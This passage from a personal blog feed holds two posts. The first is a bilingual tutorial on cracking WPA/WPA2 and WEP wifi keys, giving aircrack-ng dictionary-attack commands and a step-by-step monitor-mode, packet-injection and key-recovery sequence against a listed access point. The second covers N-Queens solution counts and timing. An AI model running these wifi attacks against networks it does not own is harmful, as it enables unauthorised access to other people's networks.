no-repeat no-repeat"&gt;John the Ripper&lt;/a&gt;&amp;nbsp;(JTR) to generate your own list and pipe them into&amp;nbsp;&lt;a href="http://docs.google.com/doku.php?id=aircrack-ng" class="wikilink1" title="aircrack-ng" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 153, 0) !important; text-decoration: none"&gt;&lt;span class="search_hit" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0); background-color: rgb(255, 255, 153)"&gt;aircrack&lt;/span&gt;-ng&lt;/a&gt;. Using JTR in conjunction with&amp;nbsp;&lt;span class="search_hit" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0); background-color: rgb(255, 255, 153)"&gt;aircrack&lt;/span&gt;-ng is beyond the scope of this tutorial&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;aircrack-ng -w dictionary.txt -b 00:21:27:47:D3:B0 psk*.cap&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="ew9-" alt="screenshot26.png" src="http://img2.pict.com/61/e4/1e/2157842/0/screenshot26.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Where:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;-w password.lst is the name of the dictionary file. Remember to specify the full path if the file is not located in the same directory.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;*.cap is name of group of files containing the captured packets. Notice in this case that we used the wildcard * to include multiple files.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Done now wait for some time It depends upon ur Dictionary file and the passphrase ,&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;You should now have your PSK passphrase . &amp;nbsp; &amp;nbsp; &amp;nbsp;//得到密码。&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Reference :&lt;/div&gt;&lt;div&gt;http://www.outpost9.com/files/WordLists.html &amp;nbsp; &amp;nbsp;WordLists 网址 。&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;http://wordlist.sourceforge.net/ &amp;nbsp; &amp;nbsp;&lt;span style="font-family: &amp;#39;AR PL UKai CN&amp;#39;"&gt;&lt;b&gt;&lt;font size="3"&gt;Kevin's Word List Page&lt;/font&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp;&lt;/div&gt;http://www.aircrack-ng.org/doku.php?id=cracking_wpa &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;b&gt;&lt;font size="4"&gt;&lt;a name="tutorialhow_to_crack_wpa_wpa2" id="p4q8" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0) !important; text-decoration: none !important"&gt;&lt;b&gt;&lt;font size="5"&gt;Tutorial: How to Crack WPA/WPA2&lt;/font&gt;&lt;/b&gt;&lt;/a&gt;&lt;/font&gt;&lt;/b&gt;&lt;div&gt;&lt;b&gt;&lt;font size="4"&gt;&lt;br&gt;&lt;/font&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: sans-serif"&gt;&lt;h1 class="firstHeading" style="color: black; background-image: none; background-color: initial; font-weight: normal; margin-right: 0px; margin-left: 0px"&gt;&lt;font size="5"&gt;&lt;font size="4"&gt;Cracking WEP and WPA Wireless Networks&lt;/font&gt;&lt;/font&gt;&lt;/h1&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;a name="tutorialhow_to_crack_wpa_wpa2" id="r9if" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0) !important; text-decoration: none !important"&gt;&lt;/a&gt;&lt;b&gt;&lt;font size="4"&gt;http://docs.lucidinteractive.ca/index.php/Cracking_WEP_and_WPA_Wireless_Networks#Overview&lt;/font&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;font size="4"&gt;&lt;br&gt;&lt;/font&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;font size="4"&gt;&lt;br&gt;&lt;/font&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;font size="4"&gt;&lt;br&gt;&lt;/font&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;font size="4"&gt;&lt;br&gt;&lt;/font&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;font size="4"&gt;&lt;br&gt;&lt;/font&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;font size="4"&gt;&lt;br&gt;&lt;/font&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;font size="4"&gt;&lt;br&gt;&lt;/font&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;font size="4"&gt;&lt;br&gt;&lt;/font&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;font size="4"&gt;anther way&amp;nbsp;&lt;/font&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;font size="4"&gt;1.&lt;span style="font-family: verdana, sans-serif; font-weight: normal"&gt;&lt;font size="3"&gt;&amp;nbsp;sudo airmon-ng start wlan0 &amp;nbsp;&amp;nbsp;&lt;/font&gt;&lt;/span&gt;&lt;span style="font-family: verdana, sans-serif; font-weight: normal"&gt;&lt;font size="3"&gt;&amp;nbsp;启动&lt;span class="t_tag"&gt;无线&lt;/span&gt;&amp;nbsp;&lt;span class="t_tag"&gt;网卡&lt;/span&gt;&amp;nbsp;的监控模式&lt;/font&gt;&lt;/span&gt;&lt;/font&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;font size="4"&gt;&lt;font class="Apple-style-span" face="verdana, sans-serif" size="4"&gt;&lt;span style="font-weight: normal"&gt;&lt;font size="3"&gt;2.在终端中输入 sudo&amp;nbsp;&amp;nbsp;&lt;span class="t_tag"&gt;airodump&lt;/span&gt;-ng mon0 ，启动监控模式后无线端口是mon0（如果启动多次会按数字累加）， 看看有哪些采用&lt;span class="t_tag"&gt;wep&lt;/span&gt;&amp;nbsp;加密的AP在线，然后按 ctrl+c 退出，保留终端&lt;br&gt;&lt;/font&gt;&lt;/span&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;img class="big" id="image_2196333" alt="20091213153725658x453scrot.png" src="http://img2.pict.com/db/d0/aa/2196333/0/20091213153725658x453scrot.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: Arial, Tahoma, Helvetica, sans-serif"&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: Arial, Tahoma, Helvetica, sans-serif"&gt;&lt;span style="font-family: verdana, sans-serif"&gt;&lt;font size="3"&gt;3.另开一个终端，输入 sudo airodump-ng -c 6 --bssid 00:1D:0F:7D:D9:1A -w wep mon0&lt;br&gt;&amp;nbsp;(-c后面的6为AP工作频道，--bissid后面的&lt;span style="color: navy"&gt;AP's MAC&lt;/span&gt;&amp;nbsp;是要欲破解AP的MAC地址，-w后的wep的是抓下来的数据包&lt;span class="t_tag"&gt;DATA&lt;/span&gt;&amp;nbsp;保存的文件名（可以随便取名），然后回车开始抓包。&lt;/font&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;br&gt;&lt;div&gt;4.&lt;span style="font-family: verdana, sans-serif"&gt;&lt;font size="3"&gt;再另开一个终端，输入 sudo aireplay-ng -1 0 -a 00:1D:0F:7D:D9:1A -h 00:1c:bf:87:70:66  mon0 &lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: verdana, sans-serif"&gt;&lt;font size="3"&gt;&amp;nbsp;与AP建立虚拟连接 （-h后面跟着的&lt;span style="color: rgb(75, 0, 130)"&gt;My MAC&lt;/span&gt;&amp;nbsp;是自己的无线网卡的MAC地址)&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: verdana, sans-serif"&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: verdana, sans-serif"&gt;&lt;font size="3"&gt;5.建立虚拟连接成功后，输入 sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b 00:1D:0F:7D:D9:1A  -h 00:1c:bf:87:70:66  mon0&lt;br&gt;进行注入，现在步骤3中数据包应该不断增长。&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: verdana, sans-serif"&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="image_2196385" alt="20091213154006660x453scrot.png" src="http://img2.pict.com/c1/fd/de/2196385/0/20091213154006660x453scrot.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: verdana, sans-serif"&gt;&lt;span style="font-family: Arial, Tahoma, Helvetica, sans-serif"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: verdana, sans-serif"&gt;&lt;span style="font-family: Arial, Tahoma, Helvetica, sans-serif"&gt;&lt;font size="2"&gt;6.&lt;/font&gt;&lt;span style="font-family: verdana, sans-serif"&gt;&lt;font size="3"&gt;收集有5000个以上的DATA之后，另开一个终端，输入 sudo aircrack-ng wep*.cap 进行解密 （如果没算出来的话，继续等，aircrack-ng 会在DATA每增加多5000个之后就自动再&lt;span class="t_tag"&gt;运行&lt;/span&gt;&amp;nbsp;，直到算出&lt;span class="t_tag"&gt;密码&lt;/span&gt;&amp;nbsp;为至）&lt;/font&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: verdana, sans-serif"&gt;&lt;span style="font-family: Arial, Tahoma, Helvetica, sans-serif"&gt;&lt;span style="font-family: verdana, sans-serif"&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="image_2196389" alt="20091213154119659x457scrot.png" src="http://img2.pict.com/2a/c1/7e/2196389/0/20091213154119659x457scrot.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: verdana, sans-serif"&gt;&lt;span style="font-family: Arial, Tahoma, Helvetica, sans-serif"&gt;&lt;span style="font-family: verdana, sans-serif"&gt;&lt;span style="font-family: Arial, Tahoma, Helvetica, sans-serif"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="Arial, Tahoma, Helvetica, sans-serif"&gt;这是破解自己宿舍的路由 。&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="Arial, Tahoma, Helvetica, sans-serif"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="Arial, Tahoma, Helvetica, sans-serif"&gt;&lt;span style="font-family: verdana, sans-serif"&gt;&lt;font size="3"&gt;7、破解出密码后在终端中输入 sudo airmon-ng stop mon0 关闭监控模式，不然无线网卡会一直向刚刚的AP进行注入的，用ctrl+c退出或者直接关闭终端都是不行的，除非重新启动电脑。&lt;/font&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7460769715768107728-4857696126358467126?l=zch051383471952.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zch051383471952.blogspot.com/feeds/4857696126358467126/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7460769715768107728&amp;postID=4857696126358467126' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/4857696126358467126'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/4857696126358467126'/><link rel='alternate' type='text/html' href='http://zch051383471952.blogspot.com/2010/01/crack-wpawpa2-wifi-network.html' title='Crack a WPA/WPA2 Wifi Network'/><author><name>zch-alex</name><uri>http://www.blogger.com/profile/01183124204454312366</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_77voQuQ5PmQ/SUyRHpH9ATI/AAAAAAAAAm8/7fFsVxg55lI/S220/2008-10-1+14-50-59.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7460769715768107728.post-5567217731128486962</id><published>2010-01-02T06:10:00.001-08:00</published><updated>2010-01-02T06:10:47.907-08:00</updated><title type='text'>N Queens Problem</title><content type='html'>&lt;span style="font-family: 'Luxi Sans'"&gt;&lt;h1 style="text-align: center;"&gt;N Queens Problem&lt;/h1&gt;&lt;div style="text-align: center;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;By &amp;nbsp;Alex Zhang &amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;/span&gt;1.n 皇后问题的，&lt;span style="font-family: sans-serif"&gt;distinct solution (可行解)!&lt;/span&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Luxi Sans'"&gt;&lt;table border="0" class="zeroBorder"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;&lt;b&gt;n&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&lt;td width="20"&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;&lt;b&gt;a(n)&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;1&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;1&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;2&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;0&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;3&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;0&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;4&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;2&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;5&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;10&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;6&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;4&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;7&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;40&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;8&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;92&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;9&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;352&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;10&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;724&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;11&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;2680&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;12&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;14200&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;13&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;73712&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;14&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;365596&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;15&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;2279184&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;16&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;14772512&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;17&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;95815104&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;18&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;666090624&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;19&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;4968057848&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;20&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;39029188884&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;21&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;314666222712&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;22&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;2691008701644&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;23&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;24233937684440&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;24&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;227514171973736&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;25&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;2207893435808352&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;26&lt;/font&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;font size="3"&gt;22317699616364044&lt;br&gt;&lt;br&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/span&gt;&lt;/div&gt;&lt;br&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;2.我的代码测试 时间！&lt;/div&gt;&lt;div&gt;&lt;div&gt;N=15 -&amp;gt; 2279184&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;real	0m5.415s&lt;/div&gt;&lt;div&gt;user	0m5.384s&lt;/div&gt;&lt;div&gt;sys	0m0.008s&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;N=16 -&amp;gt; 14772512&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;real	0m35.998s&lt;/div&gt;&lt;div&gt;user	0m35.742s&lt;/div&gt;&lt;div&gt;sys	0m0.064s&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;N=17 -&amp;gt; 95815104&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;real	4m14.104s&lt;/div&gt;&lt;div&gt;user	4m11.572s&lt;/div&gt;&lt;div&gt;sys	0m0.448s&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;在下去时间越来越长了......&lt;/div&gt;&lt;div&gt;我怎么到17就这么长了？&lt;/div&gt;&lt;div&gt;你能算到29，，，很强大 。29时有多少可行解?感觉一般算到26就已经是海量时间了，哈哈！&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;3.别人的一张计算时间，很无敌！ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;img src="http://docs.google.com/drawings/image?id=scTRrAEjuViRpZrZ9RUGCww&amp;amp;w=400&amp;amp;h=400&amp;amp;rev=5&amp;amp;ac=1"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;span class="writely-comment writely-comment-blue" id="writely-comment-id-ddbccvgr"&gt;&amp;nbsp;&amp;nbsp;有关unique solution &amp;nbsp; ,看下面.-alex zhang 12/28/09 7:27 PM&lt;/span&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="'Courier New'"&gt;&lt;font size="3"&gt;&amp;nbsp;&lt;img class="big" id="image_2318429" alt="20091228192124586x471scrot.png" src="http://img2.pict.com/d5/de/29/2318429/0/20091228192124586x471scrot.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;4.算法执行步。&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;img src="http://www.math.utah.edu/~alfeld/queens/table.gif"&gt;&lt;br&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;从算法执行步来看 &amp;nbsp;，你的从29 到30 &amp;nbsp;，跳跃很大啊！&lt;/div&gt;&lt;br&gt;&lt;div&gt;5. unique solution &amp;nbsp;of n queen problems&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;通过对称，翻转 ［&lt;span style="font-family: sans-serif"&gt;&amp;nbsp;symmetry operations (rotations and reflections)］&lt;span style="font-family: Verdana"&gt;相同的可以看成一个 unique solution .书上的4皇后 对称 看成一个 &amp;nbsp;唯一解。&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: sans-serif"&gt;&lt;span style="font-family: Verdana"&gt;&lt;br&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;img src="http://queens.inf.tu-dresden.de/symmetries.png" alt="Possible Symmetries"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;p style="color: rgb(51, 51, 51); margin-right: 1.25em; margin-left: 0px"&gt;&lt;font class="Apple-style-span" color="#000000" face="sans-serif"&gt;&lt;font class="Apple-style-span" color="#333333" face="Verdana, Helvetica, Arial, sans-serif"&gt;&lt;font size="2"&gt;&amp;nbsp;6.算法 问题。&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-left: 1.25em; margin-right: 0px"&gt;&lt;font class="Apple-style-span" face="'Arial Black'"&gt;&lt;font size="2"&gt;我上面使用的是 回溯法，加上递归 调用,树的深度搜索。很平常的方法，&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-left: 1.25em; margin-right: 0px"&gt;&lt;font class="Apple-style-span" face="'Arial Black'"&gt;&lt;font size="2"&gt;我查了一下改进的方法，&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-left: 1.25em; margin-right: 0px"&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: 'Arial Black'"&gt;&lt;font size="2"&gt;使用&lt;a id="bwxf" href="http://docs.google.com/viewer?url=http%3A%2F%2Fai.kaist.ac.kr%2F%7Ejkim%2Fcs570-2000%2FResource%2F%25B9%25DF%25C7%25A5_%25B9%25DA%25C7%25F6%25B1%25D4%25C0%25FC%25C0%25E7%25B8%25ED.ppt" target="_blank" title="迭代"&gt;迭代&lt;/a&gt;&lt;/font&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: 'Arial Black'"&gt;&lt;span style="font-family: Arial"&gt;&lt;font size="2"&gt;使用&lt;a id="nwf:" href="http://docs.google.com/viewer?url=http%3A%2F%2Fwww.cs.nott.ac.uk%2F%7Erxq%2Ffiles%2F8nQueenModel.pdf" target="_blank" title="约束编程"&gt;约束编程&lt;/a&gt;&lt;/font&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="Arial"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="Arial"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="Arial"&gt;7.数学研究，&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="Arial"&gt;&lt;span style="font-family: Arial, Verdana, Helvetica, sans-serif"&gt;&lt;font size="2"&gt;Velucchi 推导了相关公式，牛！&lt;/font&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="Arial"&gt;&lt;span style="font-family: Arial, Verdana, Helvetica, sans-serif"&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;&amp;nbsp;&lt;font class="Apple-style-span" color="#FF0000"&gt;k queens on n&amp;nbsp; chessboard&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="Arial"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;img src="http://mathworld.wolfram.com/images/equations/QueensProblem/NumberedEquation1.gif" alt=" p(a,b,n)={(a+b)^(n^2)+2(a+b)^n(a^2+b^2)^((n^2-n)/2);   